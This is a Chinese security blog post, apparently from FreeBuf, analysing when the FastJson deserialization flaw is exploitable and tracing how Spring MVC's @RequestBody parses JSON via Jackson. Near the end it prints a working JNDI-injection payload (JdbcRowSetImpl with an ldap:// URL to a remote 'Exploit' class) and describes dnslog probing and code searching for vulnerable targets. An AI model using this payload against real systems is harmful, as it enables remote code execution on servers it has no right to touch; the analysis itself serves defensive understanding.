前言
在FastJson<=1.2.24漏洞公布时我还是一个开发，对于这个消息我震撼至极，那时的FastJson的热度可谓如日中天。但是，对FastJson漏洞复现过后突然心就被伤了，那些把FastJson漏洞吹的捧上神坛的人是否真的知道他的影响程度？
概述
本文将从漏洞运用所依赖的条件，怎么样发现此漏洞，漏洞产生的原理跟踪，以及评价这个漏洞四个维度去分析。
漏洞运用所依赖的条件
之所以先将这个模块是为了先泼大家一盆冷水，先降低大家人对FastJson漏洞的影响程度的认知。
众所周知
1.FastJson<=1.2.47是利用的先决条件
2.其二是
JSON.parseObject(text2);但是，满足第二个条件的难度你真的知道嘛？
我们编辑的POC在前端与后端进行交互的包中，意味着在后端拿到请求参数时进行JSON.parseObject(参数)进行参数的json转换。下面上代码
只有满足这样的条件，也就是在后端拿到用户请求的参数时，将其使用FastJson提供的JSON.parseObject(参数)这个API进行json格式化的时候才会产生我们所说的反序列化漏洞。
那么达成这个漏洞到底难不难？
真的很难，甚至是不可能。
因为现在Java开发的框架是SSM(Spring+SpringMvc+Mybatis)，这一点不清楚的可以看我之前的文章了解。那么在访问层我们使用到的就是SpringMvc这个框架。做过开发的朋友都知道，SpringMVC提供了一个专门用于参数进行json格式化的注解叫做
@RequestBody这个参数就是为了请求参数到达访问层时框架将其进行json格式化
所以实际的情况是这样的
相信很多朋友还会问，真的没有人采用第一种写法去写嘛？设问，采用框架的目的就在于方便快捷的开发，引入框架但是舍本逐末是为什么呢，如果开发中采用第一种写法肯定会被项目经理骂的，这一点无可厚非。
我说一个数据，市面上百分之95以上的Java程序员都不会第一种方式进行编写。
接下来我的想法是@RequestBody这个注解到底是怎么进行json格式化的
我追溯了整套它的解析流程，下面我只放上最核心的代码
用@RequestMapping(包括@GetMapping、@PostMapping等)注释修饰的接口请求会用该类处理。RequestMappingHandlerAdapter实现了AbstractHandlerMethodAdapter,所以mv = ha.handle(processedRequest, response, mappedHandler.getHandler());实际上调用的是AbstractHandlerMethodAdapter类的handle()方法：
@Override
@Nullable
public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
return handleInternal(request, response, (HandlerMethod) handler);
}这里又调用了handleInternal()方法，RequestMappingHandlerAdapter重写了该方法:
进入该方法，
if (this.synchronizeOnSession) {
HttpSession session = request.getSession(false);
if (session != null) {
Object mutex = WebUtils.getSessionMutex(session);
synchronized (mutex) {
mav = invokeHandlerMethod(request, response, handlerMethod);
}
}
else {
// No HttpSession available -> no mutex necessary
mav = invokeHandlerMethod(request, response, handlerMethod);
}
}
else {
// No synchronization on session demanded at all...
mav = invokeHandlerMethod(request, response, handlerMethod);
}可以看到最终调用的都是invokeHandlerMethod()方法,此方法会处理@RequestMapping修饰的请求
protected ModelAndView invokeHandlerMethod(HttpServletRequest request,
HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
ServletWebRequest webRequest = new ServletWebRequest(request, response);
try {
WebDataBinderFactory binderFactory = getDataBinderFactory(handlerMethod);
ModelFactory modelFactory = getModelFactory(handlerMethod, binderFactory);
ServletInvocableHandlerMethod invocableMethod = createInvocableHandlerMethod(handlerMethod);
//注意,此处往ServletInvocableHandlerMethod中设置了一系列的参数解析器
if (this.argumentResolvers != null) {
invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
}
if (this.returnValueHandlers != null) {
invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
}
invocableMethod.setDataBinderFactory(binderFactory);
invocableMethod.setParameterNameDiscoverer(this.parameterNameDiscoverer);
ModelAndViewContainer mavContainer = new ModelAndViewContainer();
mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request));
modelFactory.initModel(webRequest, mavContainer, invocableMethod);
mavContainer.setIgnoreDefaultModelOnRedirect(this.ignoreDefaultModelOnRedirect);
AsyncWebRequest asyncWebRequest = WebAsyncUtils.createAsyncWebRequest(request, response);
asyncWebRequest.setTimeout(this.asyncRequestTimeout);
WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
asyncManager.setTaskExecutor(this.taskExecutor);
asyncManager.setAsyncWebRequest(asyncWebRequest);
asyncManager.registerCallableInterceptors(this.callableInterceptors);
asyncManager.registerDeferredResultInterceptors(this.deferredResultInterceptors);
if (asyncManager.hasConcurrentResult()) {
Object result = asyncManager.getConcurrentResult();
mavContainer = (ModelAndViewContainer) asyncManager.getConcurrentResultContext()[0];
asyncManager.clearConcurrentResult();
if (logger.isDebugEnabled()) {
logger.debug("Found concurrent result value [" + result + "]");
}
invocableMethod = invocableMethod.wrapConcurrentResult(result);
}
//具体请求处理方法
invocableMethod.invokeAndHandle(webRequest, mavContainer);
if (asyncManager.isConcurrentHandlingStarted()) {
return null;
}
return getModelAndView(mavContainer, modelFactory, webRequest);
}
finally {
webRequest.requestCompleted();
}
}进入该方法的invocableMethod.invokeAndHandle(webRequest, mavContainer);，来到ServletInvocableHandlerMethod,此类继承了InvocableHandlerMethod，可以处理请求的返回值。invokeAndHandle()方法:
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
Object... providedArgs) throws Exception {
Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
setResponseStatus(webRequest);
if (returnValue == null) {
if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
mavContainer.setRequestHandled(true);
return;
}
}
else if (StringUtils.hasText(getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}
mavContainer.setRequestHandled(false);
Assert.state(this.returnValueHandlers != null, "No return value handlers");
try {
this.returnValueHandlers.handleReturnValue(
returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
}
catch (Exception ex) {
if (logger.isTraceEnabled()) {
logger.trace(getReturnValueHandlingErrorMessage("Error handling return value", returnValue), ex);
}
throw ex;
}
}
HttpMessageConverter是在RequestMappingHandlerAdapter中设置解析器的时候添加到每个解析器中的。而json格式的数据使用AbstractJackson2HttpMessageConverter进行解析，内部使用jackson进行json数据的解析。
小结：分析到这里的一瞬间我惊了，这个注解既然底层实际使用的是jsckson这个方式，意味着如果jackson爆出漏洞或将影响百分之90多的Java站点
怎么样发现此漏洞
从上文中我们得到的消息，再结合我之前的文章，其实发现这个漏洞很简单。
1.当我们拿到一个Java源码时，首先查阅Maven对方是否引用Fastjson包并且依赖的版本。
2.在访问层，也就是我之前所说的controller层
直接祭上我们的idea搜索大法确定包名为Controller并且其中存在JSON.parseObject()方法的地方。
然后找到网上复现fastjson漏洞的方法，dnslog验证存在。
小结：maven确定版本<=1.2.47+Controller包下 使用快捷键Ctrl+Shift+R 搜索JSON.parseObject关键字快速发现
漏洞原理跟踪
网上的大佬们总结分析了很多原理的问题，这篇文章其实主要是讲产生场景的问题，但是作为一个分析FastJson的文章 我觉得这一环必不可少，我就挑重点去讲讲吧。
因为Fastjson提供了autotype这个东西，在进行json解析时会自动根据要解析的类名解析成要解析的实际对象，我们使用dnslog验证这个漏洞存在，仔细查看poc会发现
type类型指定为
java.net.Inet4Address这个类就是java用来提供icmp服务类，也就是ping类
然后值为相应的要被ping的地址
redbtz.dnslog.cn如果目标地址被ping说明服务解析成功
那造成远程代码执行的原因也同理
{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.214.137:9999/Exploit",
"autoCommit": true
}
}将服务解析成远程调用，从而造成了远程代码执行。
这部分我会在后续文章详细讲解java中的远程命令执行，也就是rmi
小结: 因为autotype的事情造成了漏洞形成的原因，所以在后续多次爆出fastjson高版本还能进行远程命令执行的多半实在autotype上下手，比如默认关闭了autotype，比如做了黑名单校验，比如后续的重点变为如何绕过黑名单。
评价这个漏洞
回归文章开头说的，这个漏洞被炒得如日中天，却很少有人能用这个漏洞造成rce，根本原因还是这个漏洞的利用条件与实际应用场景不符。这个漏洞的闹剧应该在我这篇文章给大家一个结果，与其说是fastjson的漏洞不如说是JSON.parseObject()与@RequestBody两个方法之间我们到底用了谁，答案很显而易见，当然是后者，我们引用框架的目的就是为了快捷开发，这点SpingMVC做的比fastjson好，开发者也不会舍本逐末。
完结：
在前面多个文章发出来也是我从开发转安全找工作的一个阶段，后续停更了很长时间，也是因为我的私人原因我深表歉意。感谢很多读者给我介绍了很多工作，我目前就职地就不说了，怕官方觉得我营销号不给我发奖金。在接下来的时间内我会一直持续更新，也希望读者关注我，关注我的专辑。
谢谢大家，下期见~
精彩推荐
本文始发于微信公众号（FreeBuf）：那些FastJson漏洞不为人知的事情（开发角度）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论